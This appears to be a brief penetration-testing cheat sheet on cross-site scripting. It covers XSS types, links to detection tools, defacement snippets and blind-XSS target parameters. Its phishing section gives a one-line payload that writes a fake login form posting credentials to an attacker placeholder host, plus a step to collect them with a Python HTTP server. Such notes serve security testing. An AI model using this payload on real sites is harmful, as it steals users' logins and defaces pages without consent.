githubEdit

discovery

Type of XSS vulnerabilities I. Reflected XSS II. Stored XSS III. DOM XSS

XSS detection tools https://github.com/s0md3v/XSStrike https://github.com/rajeshmajumdar/BruteXSS https://github.com/epsylon/xsser

XSS attacks

Web defacing attack

Defacement elements to use

document.body.style.background = 'black'
document.body.background
document.title
DOM.innerHTML

Phishing

# Create a fake login page and trigger victim to login In.
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

Credentials stealing

Send crafted phishing link to user
Set up python http.server to receive credentials

Blind XSS detection:

Potential vulnerable parameters

  • Contact forms

  • Reviews

  • User details

  • Support tickets

  • HTTP user-agent header

There are two issue in order to find blind XSS

Detection setup

Testing payloads

Last updated